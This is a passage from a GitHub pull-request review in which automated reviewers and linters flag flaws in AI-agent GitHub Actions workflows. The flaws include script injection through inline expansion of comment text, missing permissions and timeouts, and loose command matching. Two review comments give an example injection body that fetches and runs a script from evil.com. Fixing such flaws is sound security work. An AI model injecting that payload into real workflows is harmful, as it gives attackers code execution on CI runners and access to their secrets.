+ body="${REVIEW_BODY:-$COMMENT_BODY}"📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| run: | | |
| approved="false" | |
| # An "Approve" review verdict is always approval | |
| if [ "${{ github.event_name }}" = "pull_request_review" ] && [ "${{ github.event.review.state }}" = "approved" ]; then | |
| approved="true" | |
| fi | |
| # Check the body text for approval keywords | |
| body=$(echo '${{ toJSON(github.event.review.body || github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body='' | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| REVIEW_BODY: ${{ github.event.review.body }} | |
| COMMENT_BODY: ${{ github.event.comment.body }} | |
| run: | | |
| approved="false" | |
| # An "Approve" review verdict is always approval | |
| if [ "${{ github.event_name }}" = "pull_request_review" ] && [ "${{ github.event.review.state }}" = "approved" ]; then | |
| approved="true" | |
| fi | |
| # Check the body text for approval keywords | |
| body="${REVIEW_BODY:-$COMMENT_BODY}" |
🧰 Tools
🪛 actionlint (1.7.12)
[error] 69-69: "github.event.review.body" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details
(expression)
[error] 69-69: "github.event.comment.body" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details
(expression)
🪛 zizmor (1.26.1)
[error] 73-73: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
[error] 78-78: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
[error] 78-78: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/opencode-triage-pr.yaml around lines 67 - 78, The inline
script in the triage workflow is still using untrusted review/comment text
directly in shell command substitution, which allows quote-breaking injection.
Update the step that computes `body` in the workflow to pass
`github.event.review.body` and `github.event.comment.body` through environment
variables instead of embedding `toJSON(...)` inside the script. Keep the logic
in the same run block, but read the safe env values there and preserve the
existing approval detection in the workflow step.
Source: Linters/SAST tools
967dfae to
9d79e55
Compare
There was a problem hiding this comment.
Verdict: REQUEST_CHANGES · 🚨 3 · 🛠️ 6 · 💡 2
Most critical: two script injection vulnerabilities in the quick-approval shell steps (toJSON of untrusted comment/review body inline) and a missing contents: read permission in review.yaml that will break checkout. No ⚡ PERFORMANCE issues.
| env: | ||
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | ||
| run: | | ||
| body=$(echo '${{ toJSON(github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body='' |
There was a problem hiding this comment.
🚨 [CRITICAL] Script injection via inline template expansion
${{ toJSON(github.event.comment.body) }} is expanded directly inside single quotes in the shell script. A comment body containing ' (e.g., '; curl https://evil.com/s.sh | bash #) breaks out of the quoted string and executes arbitrary shell. The toJSON call does not escape single quotes for shell context — it produces valid JSON, but JSON allows unescaped ' characters.
Pass the untrusted value through an env var instead:
| body=$(echo '${{ toJSON(github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body='' | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| COMMENT_BODY: ${{ github.event.comment.body }} | |
| run: | | |
| body="$COMMENT_BODY" | |
| if echo "$body" | grep -qiE '^(approved|lgtm|go ahead|:\+1:)' ; then |
| fi | ||
|
|
||
| # Check the body text for approval keywords | ||
| body=$(echo '${{ toJSON(github.event.review.body || github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body='' |
There was a problem hiding this comment.
🚨 [CRITICAL] Script injection via inline template expansion
Same pattern as opencode-triage-issue.yaml. ${{ toJSON(github.event.review.body || github.event.comment.body) }} is interpolated into single quotes. An attacker-controlled review/comment body containing ' breaks out.
Pass both bodies through env vars:
| body=$(echo '${{ toJSON(github.event.review.body || github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body='' | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| REVIEW_BODY: ${{ github.event.review.body }} | |
| COMMENT_BODY: ${{ github.event.comment.body }} | |
| run: | | |
| approved="false" | |
| if [ "${{ github.event_name }}" = "pull_request_review" ] && [ "${{ github.event.review.state }}" = "approved" ]; then | |
| approved="true" | |
| fi | |
| body="${REVIEW_BODY:-$COMMENT_BODY}" |
| github.event.pull_request.changed_files < 50 && | ||
| github.event.pull_request.additions < 3000 | ||
| runs-on: ubuntu-latest | ||
| permissions: |
There was a problem hiding this comment.
🚨 [CRITICAL] Missing contents: read permission breaks checkout
The permissions: block at line 19 lists id-token: write and pull-requests: write but omits contents. In GitHub Actions, setting permissions: overrides all defaults to none. Without contents: read, actions/checkout@v7 on line 23 cannot clone the repository, causing the workflow to fail on every run.
Note: removing contents: write (as suggested by prior reviews) was correct, but contents: read is required for checkout.
| permissions: | |
| permissions: | |
| id-token: write | |
| contents: read | |
| pull-requests: write |
|
|
||
| triage: | ||
| if: | | ||
| github.event.comment.user.login != 'github-actions[bot]' && |
There was a problem hiding this comment.
🛠️ [QUALITY] Hardcoded bot usernames
Lines 25-27 hardcode three bot logins (github-actions[bot], opencode-agent[bot], coderabbitai[bot]). This is brittle — any new or renamed collaborator bot requires a workflow edit. The author_association check on line 28 already restricts to OWNER/MEMBER/COLLABORATOR, which covers the security concern. Consider using github.event.comment.user.type == 'Bot' or a YAML anchor for the allowlist.
Same pattern exists in opencode-triage-pr.yaml lines 18-20 and 36-38.
| github.event.comment.user.login != 'coderabbitai[bot]' && | ||
| contains(fromJSON('["OWNER", "MEMBER", "COLLABORATOR"]'), github.event.comment.author_association) && | ||
| github.event.issue.state == 'open' && | ||
| ( |
There was a problem hiding this comment.
🛠️ [QUALITY] Label check bypasses actor/state guards
The || at line 38 means contains(github.event.issue.labels.*.name, 'opencode:awaiting-response') on line 39 is OR'd with the entire preceding guard block. Due to operator precedence (&& binds tighter than ||), any comment on an issue with that label triggers the job — even from github-actions[bot] or on a closed issue. Since only users with write perms can set labels, this is a robustness concern rather than a vulnerability, but it should be grouped inside the guard:
(
(
(
contains(...) ||
startsWith(...)
) &&
length > 10
) ||
contains(github.event.issue.labels.*.name, 'opencode:awaiting-response')
)
Same issue exists in opencode-triage-pr.yaml lines 32 and 50.
| github.event.comment.body.length > 10 | ||
| ) || | ||
| contains(github.event.issue.labels.*.name, 'opencode:awaiting-response') | ||
| runs-on: ubuntu-latest |
There was a problem hiding this comment.
🛠️ [QUALITY] Missing timeout-minutes on triage job
The job defaults to GitHub's 360-minute maximum. An LLM agent could hang or loop, wasting runner minutes. Add a 15-minute timeout:
| runs-on: ubuntu-latest | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 15 |
Same issue in opencode-triage-pr.yaml:52 and opencode-implement.yaml:35.
| !contains(github.event.pull_request.labels.*.name, 'opencode:awaiting-response') && | ||
| (github.event.issue.state == 'open' || github.event.pull_request.state == 'open') | ||
| ) | ||
| runs-on: ubuntu-latest |
There was a problem hiding this comment.
🛠️ [QUALITY] Missing timeout-minutes on implement job
The implement job writes code and may run long. Add a 60-minute timeout:
| runs-on: ubuntu-latest | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 60 |
|
|
||
| jobs: | ||
| triage: | ||
| if: | |
There was a problem hiding this comment.
💡 [NITPICK] Complex 37-line if condition
The condition spans lines 15-51 with deeply nested || / && groups. The pull_request_review_comment and pull_request_review branches share near-identical sub-expressions (bot checks, author association, trigger word detection). Consider extracting a YAML anchor or using github.event_name branching outside the core guard logic to reduce duplication and improve readability.
|
|
||
| jobs: | ||
| implement: | ||
| if: >- |
There was a problem hiding this comment.
💡 [NITPICK] Complex mixed-context if condition
Lines 25-34 mix issue and pull_request property accesses with null-safe expressions. While functionally correct (GitHub Actions evaluates null properties as empty), restructuring with explicit github.event_name branching makes the intent clearer:
| if: >- | |
| if: >- | |
| github.event.label.name == 'opencode:approved-for-implementation' && | |
| (github.event.sender.login == 'opencode-agent[bot]' || github.event.sender.login == 'github-actions[bot]' || github.event.sender.login == 'dianlight') && | |
| ( | |
| ( | |
| github.event_name == 'issues' && | |
| !contains(github.event.issue.labels.*.name, 'opencode:awaiting-response') && | |
| github.event.issue.state == 'open' | |
| ) || ( | |
| github.event_name == 'pull_request' && | |
| !contains(github.event.pull_request.labels.*.name, 'opencode:awaiting-response') && | |
| github.event.pull_request.state == 'open' | |
| ) | |
| ) |
|
Review submitted as REQUEST_CHANGES with 9 inline findings across 4 files:
|
There was a problem hiding this comment.
Verdict: REQUEST_CHANGES
🚨 3 · 🛠️ 7 · 💡 2
The most critical finding is the script injection vulnerability in both triage workflows: untrusted comment/review body text is template-expanded directly into inline shell scripts via ${{ toJSON(...) }} inside single quotes, allowing arbitrary command execution. The second critical issue is the missing contents: read permission in opencode-review.yaml, which will cause actions/checkout to fail on every run.
No ⚡ PERFORMANCE issues found. The workflows are otherwise well-structured with proper security practices (SHA-pinned actions, author association checks).
| env: | ||
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | ||
| run: | | ||
| body=$(echo '${{ toJSON(github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body='' |
There was a problem hiding this comment.
🚨 [CRITICAL] Script injection via inline template expansion
${{ toJSON(github.event.comment.body) }} is expanded directly inside single quotes in the shell script. A comment body containing ' (e.g., '; curl https://evil.com/s.sh | bash #) breaks out of the quoted string and executes arbitrary shell. The toJSON call does not escape single quotes for shell context — JSON allows unescaped ' characters.
Pass the untrusted value through an env var instead:
| body=$(echo '${{ toJSON(github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body='' | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| COMMENT_BODY: ${{ github.event.comment.body }} | |
| run: | | |
| body="$COMMENT_BODY" | |
| if echo "$body" | grep -qiE '^(approved|lgtm|go ahead|:\+1:)' ; then |
| fi | ||
|
|
||
| # Check the body text for approval keywords | ||
| body=$(echo '${{ toJSON(github.event.review.body || github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body='' |
There was a problem hiding this comment.
🚨 [CRITICAL] Script injection via inline template expansion
Same pattern as opencode-triage-issue.yaml. ${{ toJSON(github.event.review.body || github.event.comment.body) }} is interpolated into single quotes. An attacker-controlled review/comment body containing ' breaks out.
Pass both bodies through env vars:
| body=$(echo '${{ toJSON(github.event.review.body || github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body='' | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| REVIEW_BODY: ${{ github.event.review.body }} | |
| COMMENT_BODY: ${{ github.event.comment.body }} | |
| run: | | |
| approved="false" | |
| if [ "${{ github.event_name }}" = "pull_request_review" ] && [ "${{ github.event.review.state }}" = "approved" ]; then | |
| approved="true" | |
| fi | |
| body="${REVIEW_BODY:-$COMMENT_BODY}" |
| github.event.pull_request.changed_files < 50 && | ||
| github.event.pull_request.additions < 3000 | ||
| runs-on: ubuntu-latest | ||
| permissions: |
There was a problem hiding this comment.
🚨 [CRITICAL] Missing contents: read permission breaks checkout
The permissions: block at line 19 lists id-token: write and pull-requests: write but omits contents. In GitHub Actions, setting permissions: overrides all defaults to none. Without contents: read, actions/checkout@v7 on line 23 cannot clone the repository, causing the workflow to fail on every run.
| permissions: | |
| permissions: | |
| id-token: write | |
| contents: read | |
| pull-requests: write |
| !github.event.pull_request.draft && | ||
| github.event.pull_request.changed_files < 50 && | ||
| github.event.pull_request.additions < 3000 | ||
| runs-on: ubuntu-latest |
There was a problem hiding this comment.
🛠️ [QUALITY] Missing timeout-minutes on review job
The job defaults to GitHub's 360-minute maximum. A stalled AI action could waste CI minutes for up to 6 hours. Add a 30-minute timeout.
| runs-on: ubuntu-latest | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 30 |
| !contains(github.event.pull_request.labels.*.name, 'opencode:awaiting-response') && | ||
| (github.event.issue.state == 'open' || github.event.pull_request.state == 'open') | ||
| ) | ||
| runs-on: ubuntu-latest |
There was a problem hiding this comment.
🛠️ [QUALITY] Missing timeout-minutes on implement job
The implement job writes code and may run long. Add a 60-minute timeout to avoid stalling the runner.
| runs-on: ubuntu-latest | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 60 |
| if: | | ||
| ( | ||
| github.event_name == 'pull_request_review_comment' && | ||
| github.event.comment.user.login != 'github-actions[bot]' && |
There was a problem hiding this comment.
🛠️ [QUALITY] Hardcoded bot usernames
Lines 18-20 (and 36-38) hardcode specific bot logins. Same concern as opencode-triage-issue.yaml. Prefer github.event.comment.user.type == 'Bot' (and github.event.review.user.type == 'Bot' for lines 36-38).
| ) && | ||
| github.event.comment.body.length > 10 | ||
| ) || | ||
| contains(github.event.issue.labels.*.name, 'opencode:awaiting-response') |
There was a problem hiding this comment.
🛠️ [QUALITY] Label check bypasses actor/state guards
The || on line 38 means contains(github.event.issue.labels.*.name, 'opencode:awaiting-response') is OR'd with the entire preceding guard block. Due to operator precedence (&& binds tighter than ||), any comment on a labeled issue triggers the job — even from github-actions[bot] or on a closed issue. While label setting is privileged, this is a robustness concern. Group it inside the guard:
(
(
(
contains(...) || startsWith(...)
) &&
length > 10
) ||
contains(github.event.issue.labels.*.name, 'opencode:awaiting-response')
)
Same issue exists in opencode-triage-pr.yaml lines 32 and 50.
| ) && | ||
| github.event.comment.body.length > 10 | ||
| ) || | ||
| contains(github.event.pull_request.labels.*.name, 'opencode:awaiting-response') |
There was a problem hiding this comment.
🛠️ [QUALITY] Label check bypasses actor/state guards
Same pattern as opencode-triage-issue.yaml. The contains(...'opencode:awaiting-response') on lines 32 and 50 sits outside the actor/association/state guards in both event branches. Group the command and label alternatives together under the same condition.
|
|
||
| jobs: | ||
| triage: | ||
| if: | |
There was a problem hiding this comment.
💡 [NITPICK] Complex 37-line if condition
The condition spans lines 15-51 with deeply nested || / && groups. The pull_request_review_comment and pull_request_review branches share near-identical sub-expressions (bot checks, author association, trigger word detection). Consider extracting a YAML anchor or using github.event_name branching outside the core guard logic to reduce duplication and improve readability.
|
|
||
| jobs: | ||
| implement: | ||
| if: >- |
There was a problem hiding this comment.
💡 [NITPICK] Complex mixed-context if condition
Lines 25-34 mix issue and pull_request property accesses with null-safe expressions. While functionally correct (GitHub Actions evaluates null properties as empty), restructuring with explicit github.event_name branching makes the intent clearer:
| if: >- | |
| if: >- | |
| github.event.label.name == 'opencode:approved-for-implementation' && | |
| (github.event.sender.login == 'opencode-agent[bot]' || github.event.sender.login == 'github-actions[bot]' || github.event.sender.login == 'dianlight') && | |
| ( | |
| ( | |
| github.event_name == 'issues' && | |
| !contains(github.event.issue.labels.*.name, 'opencode:awaiting-response') && | |
| github.event.issue.state == 'open' | |
| ) || ( | |
| github.event_name == 'pull_request' && | |
| !contains(github.event.pull_request.labels.*.name, 'opencode:awaiting-response') && | |
| github.event.pull_request.state == 'open' | |
| ) | |
| ) |
|
Review submitted as REQUEST_CHANGES with 12 inline findings across 4 files:
|
9d79e55 to
6ce655b
Compare
There was a problem hiding this comment.
Actionable comments posted: 9
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/scripts/auth.sh:
- Around line 26-45: Update the command detection in the auth parser so the
initial `/oc` match requires end-of-input or whitespace, preventing prefixes
such as `/octopus` from setting IS_OC. Apply the same boundary requirement to
every workflow trigger gate that checks for the `/oc` command, while preserving
valid `/oc` subcommands and arguments.
In @.github/workflows/opencode-issue-handler.yml:
- Around line 247-258: Make the feature-branch and pull-request flow in the
workflow’s Process 5 idempotent: before creating the branch, check whether the
computed BRANCH already exists remotely and check whether an open PR already
targets it. Reuse or check out the existing branch instead of unconditionally
running checkout -b, and skip creation/push steps when appropriate. If an
existing PR is found, resume from it or report its result rather than creating a
duplicate; apply the same retry-safe behavior across the related steps through
the PR creation block.
In @.github/workflows/opencode-pr-comment.yml:
- Around line 81-89: Add a timeout-minutes setting to the process-2, process-3,
and process-6 workflow jobs, matching the timeout value used by the bounded
issue-handler jobs. Keep the existing job conditions, dependencies, permissions,
and steps unchanged.
- Around line 215-218: Update the workflow permissions for Process 3 so its
declared behavior is consistent: grant contents: write alongside id-token and
pull-requests permissions if it must commit and push, or revise Process 3 to be
explicitly read-only while retaining contents: read.
- Around line 116-126: The issue_comment branch incorrectly infers a bot thread
from the immediately preceding timeline comment, potentially routing unrelated
top-level comments into Process 2. Remove the LAST_COMMENT_AUTHOR-based
IS_BOT_THREAD logic from the issue_comment handling, and only allow
write-capable routing for pull_request_review_comment events or issue_comment
entries containing an explicit /oc command.
- Around line 308-311: Update the Process 6 workflow references to use
github.event.issue.number when looking up the pull request, and change the
permissions block to grant contents: write instead of read so the git push step
succeeds. Preserve the existing pull-requests: write and id-token permissions.
- Around line 175-181: Update both reply blocks in the workflow to use the
review-comment reply route with the pull request number and root review comment
ID, rather than treating the issue comment ID as the pull request number. For
issue_comment events, use the issue-comment API endpoint and the appropriate
issue comment identifier instead of the review-comment replies endpoint.
In @.github/workflows/opencode-pr-review.yml:
- Around line 15-32: Add an explicit timeout-minutes setting to the review job
alongside runs-on, using the timeout value established by the issue workflows.
Keep the existing job condition, permissions, and steps unchanged.
- Around line 24-26: Replace the literal substring exclusions in the workflow
trigger condition with a check against the parsed subcommand output from
steps.parse.outputs.SUBCOMMAND. Ensure task and implement commands are excluded
based on parsed command tokens, including variable whitespace, while review text
containing those phrases does not affect routing.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 3b6bf58b-eac5-4d64-a5e2-d0f10e45fd43
📒 Files selected for processing (10)
.github/scripts/auth.sh.github/workflows/opencode-implement.yaml.github/workflows/opencode-issue-handler.yml.github/workflows/opencode-pr-comment.yml.github/workflows/opencode-pr-review.yml.github/workflows/opencode-review.yaml.github/workflows/opencode-triage-issue.yaml.github/workflows/opencode-triage-pr.yaml.github/workflows/opencode-triage.yaml.github/workflows/opencode.yml
🚧 Files skipped from review as they are similar to previous changes (1)
- .github/workflows/opencode-triage.yaml
| if [[ "$TRIMMED" =~ ^/oc ]]; then | ||
| IS_OC="true" | ||
|
|
||
| if [[ "$TRIMMED" =~ ^/oc[[:space:]]+implement[[:space:]]+(.*) ]]; then | ||
| SUBCOMMAND="implement" | ||
| TASK_ARGS="${BASH_REMATCH[1]}" | ||
| elif [[ "$TRIMMED" =~ ^/oc[[:space:]]+task[[:space:]]+(.*) ]]; then | ||
| SUBCOMMAND="task" | ||
| TASK_ARGS="${BASH_REMATCH[1]}" | ||
| elif [[ "$TRIMMED" =~ ^/oc[[:space:]]+task[[:space:]]*$ ]]; then | ||
| SUBCOMMAND="task" | ||
| elif [[ "$TRIMMED" =~ ^/oc[[:space:]]+review($|[[:space:]]) ]]; then | ||
| SUBCOMMAND="review" | ||
| elif [[ "$TRIMMED" =~ ^/oc[[:space:]]*$ ]] || [[ "$TRIMMED" =~ ^/oc$ ]]; then | ||
| SUBCOMMAND="discuss" | ||
| else | ||
| # /oc with unrecognized subcommand — default to discuss | ||
| SUBCOMMAND="discuss" | ||
| fi | ||
| fi |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟠 Major | ⚡ Quick win
Require a boundary after /oc.
^/oc also accepts /octopus, /occ, etc. Because workflow gates use similarly broad prefix checks, these comments can launch Opencode unexpectedly. Require end-of-input or whitespace here and in every workflow trigger gate.
Proposed parser fix
-if [[ "$TRIMMED" =~ ^/oc ]]; then
+if [[ "$TRIMMED" =~ ^/oc($|[[:space:]]) ]]; then📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| if [[ "$TRIMMED" =~ ^/oc ]]; then | |
| IS_OC="true" | |
| if [[ "$TRIMMED" =~ ^/oc[[:space:]]+implement[[:space:]]+(.*) ]]; then | |
| SUBCOMMAND="implement" | |
| TASK_ARGS="${BASH_REMATCH[1]}" | |
| elif [[ "$TRIMMED" =~ ^/oc[[:space:]]+task[[:space:]]+(.*) ]]; then | |
| SUBCOMMAND="task" | |
| TASK_ARGS="${BASH_REMATCH[1]}" | |
| elif [[ "$TRIMMED" =~ ^/oc[[:space:]]+task[[:space:]]*$ ]]; then | |
| SUBCOMMAND="task" | |
| elif [[ "$TRIMMED" =~ ^/oc[[:space:]]+review($|[[:space:]]) ]]; then | |
| SUBCOMMAND="review" | |
| elif [[ "$TRIMMED" =~ ^/oc[[:space:]]*$ ]] || [[ "$TRIMMED" =~ ^/oc$ ]]; then | |
| SUBCOMMAND="discuss" | |
| else | |
| # /oc with unrecognized subcommand — default to discuss | |
| SUBCOMMAND="discuss" | |
| fi | |
| fi | |
| if [[ "$TRIMMED" =~ ^/oc($|[[:space:]]) ]]; then | |
| IS_OC="true" | |
| if [[ "$TRIMMED" =~ ^/oc[[:space:]]+implement[[:space:]]+(.*) ]]; then | |
| SUBCOMMAND="implement" | |
| TASK_ARGS="${BASH_REMATCH[1]}" | |
| elif [[ "$TRIMMED" =~ ^/oc[[:space:]]+task[[:space:]]+(.*) ]]; then | |
| SUBCOMMAND="task" | |
| TASK_ARGS="${BASH_REMATCH[1]}" | |
| elif [[ "$TRIMMED" =~ ^/oc[[:space:]]+task[[:space:]]*$ ]]; then | |
| SUBCOMMAND="task" | |
| elif [[ "$TRIMMED" =~ ^/oc[[:space:]]+review($|[[:space:]]) ]]; then | |
| SUBCOMMAND="review" | |
| elif [[ "$TRIMMED" =~ ^/oc[[:space:]]*$ ]] || [[ "$TRIMMED" =~ ^/oc$ ]]; then | |
| SUBCOMMAND="discuss" | |
| else | |
| # /oc with unrecognized subcommand — default to discuss | |
| SUBCOMMAND="discuss" | |
| fi | |
| fi |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/scripts/auth.sh around lines 26 - 45, Update the command detection
in the auth parser so the initial `/oc` match requires end-of-input or
whitespace, preventing prefixes such as `/octopus` from setting IS_OC. Apply the
same boundary requirement to every workflow trigger gate that checks for the
`/oc` command, while preserving valid `/oc` subcommands and arguments.
| ### 3. Create a feature branch | ||
| Sanitize the issue title to create a slug: | ||
| ```bash | ||
| SLUG=$(echo "$ISSUE_TITLE" | \ | ||
| tr '[:upper:]' '[:lower:]' | \ | ||
| sed 's/[^a-z0-9]/-/g' | \ | ||
| sed 's/--*/-/g' | \ | ||
| sed 's/^-//;s/-$//' | \ | ||
| cut -c1-40) | ||
| BRANCH="opencode/issue-${ISSUE_NUMBER}-${SLUG}" | ||
| git checkout -b "$BRANCH" "origin/$DEFAULT_BRANCH" | ||
| ``` |
There was a problem hiding this comment.
🩺 Stability & Availability | 🟠 Major | 🏗️ Heavy lift
Make Process 5 safe to retry.
Every invocation reuses the same branch name but unconditionally runs checkout -b, pushes, and creates a PR. A retry after a partial or successful run will fail on the existing branch/PR. Check for an existing remote branch and open PR, then resume or report the existing result.
Also applies to: 276-308
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/opencode-issue-handler.yml around lines 247 - 258, Make
the feature-branch and pull-request flow in the workflow’s Process 5 idempotent:
before creating the branch, check whether the computed BRANCH already exists
remotely and check whether an open PR already targets it. Reuse or check out the
existing branch instead of unconditionally running checkout -b, and skip
creation/push steps when appropriate. If an existing PR is found, resume from it
or report its result rather than creating a duplicate; apply the same retry-safe
behavior across the related steps through the PR creation block.
| process-2: | ||
| if: needs.route.outputs.process == 'process-2' | ||
| needs: route | ||
| runs-on: ubuntu-latest | ||
| permissions: | ||
| id-token: write | ||
| contents: write | ||
| pull-requests: write | ||
| steps: |
There was a problem hiding this comment.
🩺 Stability & Availability | 🟠 Major | ⚡ Quick win
Bound all Opencode jobs with timeouts.
Processes 2, 3, and 6 can otherwise hold their concurrency groups indefinitely when the external action stalls. Add timeout-minutes, matching the bounded issue-handler jobs.
Also applies to: 211-219, 304-312
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/opencode-pr-comment.yml around lines 81 - 89, Add a
timeout-minutes setting to the process-2, process-3, and process-6 workflow
jobs, matching the timeout value used by the bounded issue-handler jobs. Keep
the existing job conditions, dependencies, permissions, and steps unchanged.
| elif [[ "$EVENT_NAME" == "issue_comment" ]]; then | ||
| # Check if the most recent comment before this one was from the bot | ||
| # Check if the comment immediately before this one was from the bot | ||
| LAST_COMMENT_AUTHOR=$(gh api \ | ||
| "/repos/${{ github.repository }}/issues/${{ github.event.issue.number }}/comments" \ | ||
| --jq '.[-2].user.login' 2>/dev/null || echo "") | ||
|
|
||
| if [[ "$LAST_COMMENT_AUTHOR" == "opencode-agent[bot]" ]] || \ | ||
| [[ "$LAST_COMMENT_AUTHOR" == "github-actions[bot]" ]]; then | ||
| IS_BOT_THREAD="true" | ||
| fi |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# Map the workflow and inspect the relevant region.
ast-grep outline .github/workflows/opencode-pr-comment.yml --view expanded || true
printf '\n--- lines 1-220 ---\n'
cat -n .github/workflows/opencode-pr-comment.yml | sed -n '1,220p'Repository: dianlight/hassio-addons
Length of output: 10494
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# Search for the threading state and event handling in the workflow.
rg -n "IS_BOT_THREAD|issue_comment|pull_request_review_comment|LAST_COMMENT_AUTHOR|Process 2|opencode-agent\\[bot\\]|github-actions\\[bot\\]" .github/workflows/opencode-pr-comment.ymlRepository: dianlight/hassio-addons
Length of output: 1954
Don't infer Process 2 from the previous issue comment
.github/workflows/opencode-pr-comment.yml:116-126 — issue_comment is just the PR conversation timeline, not a reply chain. .[-2] can treat an unrelated collaborator comment after a bot response as bot-threaded and route it into the write-capable Process 2 path. Restrict this to pull_request_review_comment, or require an explicit /oc command for top-level PR comments.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/opencode-pr-comment.yml around lines 116 - 126, The
issue_comment branch incorrectly infers a bot thread from the immediately
preceding timeline comment, potentially routing unrelated top-level comments
into Process 2. Remove the LAST_COMMENT_AUTHOR-based IS_BOT_THREAD logic from
the issue_comment handling, and only allow write-capable routing for
pull_request_review_comment events or issue_comment entries containing an
explicit /oc command.
| ## Output | ||
| Reply to the thread via `gh api`: | ||
| ```bash | ||
| gh api --method POST \ | ||
| /repos/${{ github.repository }}/pulls/comments/${{ github.event.comment.id }}/replies \ | ||
| -f body="Your response here" | ||
| ``` |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
curl -fsSL \
https://raw.githubusercontent.com/github/rest-api-description/main/descriptions/api.github.com/api.github.com.json |
jq -e '.paths["/repos/{owner}/{repo}/pulls/{pull_number}/comments/{comment_id}/replies"].post'Repository: dianlight/hassio-addons
Length of output: 3750
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# Inspect the workflow around the cited lines and the related second location.
file=".github/workflows/opencode-pr-comment.yml"
wc -l "$file"
sed -n '150,210p' "$file"
printf '\n---\n'
sed -n '250,290p' "$file"Repository: dianlight/hassio-addons
Length of output: 4713
🏁 Script executed:
#!/bin/bash
set -euo pipefail
file=".github/workflows/opencode-pr-comment.yml"
# Map the workflow structure and find all comment-related API calls and event conditions.
ast-grep outline "$file" --view expanded || true
printf '\n--- matches ---\n'
rg -n 'issue_comment|pull_request_review_comment|github\.event\.comment\.id|pulls/comments/.*/replies|issues/comments/.*/reactions|pulls/comments/.*/reactions' "$file"
printf '\n--- top section ---\n'
sed -n '1,120p' "$file"Repository: dianlight/hassio-addons
Length of output: 6758
🏁 Script executed:
#!/bin/bash
set -euo pipefail
file=".github/workflows/opencode-pr-comment.yml"
# Read the Process 2 reply block and its surrounding event logic.
sed -n '240,285p' "$file"
printf '\n---\n'
sed -n '1,90p' "$file"Repository: dianlight/hassio-addons
Length of output: 5334
🏁 Script executed:
#!/bin/bash
set -euo pipefail
file=".github/workflows/opencode-pr-comment.yml"
nl -ba "$file" | sed -n '165,185p'
printf '\n---\n'
nl -ba "$file" | sed -n '260,280p'
printf '\n---\n'
rg -n 'in_reply_to_id|pull_request_review_url|issues/comments/.*/replies|pulls/comments/.*/replies' "$file"Repository: dianlight/hassio-addons
Length of output: 201
Use the review-comment reply route with the PR number and root comment ID. Both reply blocks call /repos/${{ github.repository }}/pulls/comments/${{ github.event.comment.id }}/replies, but that endpoint is /pulls/{pull_number}/comments/{comment_id}/replies and only accepts top-level review comments. issue_comment handling needs the issue-comment API instead.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
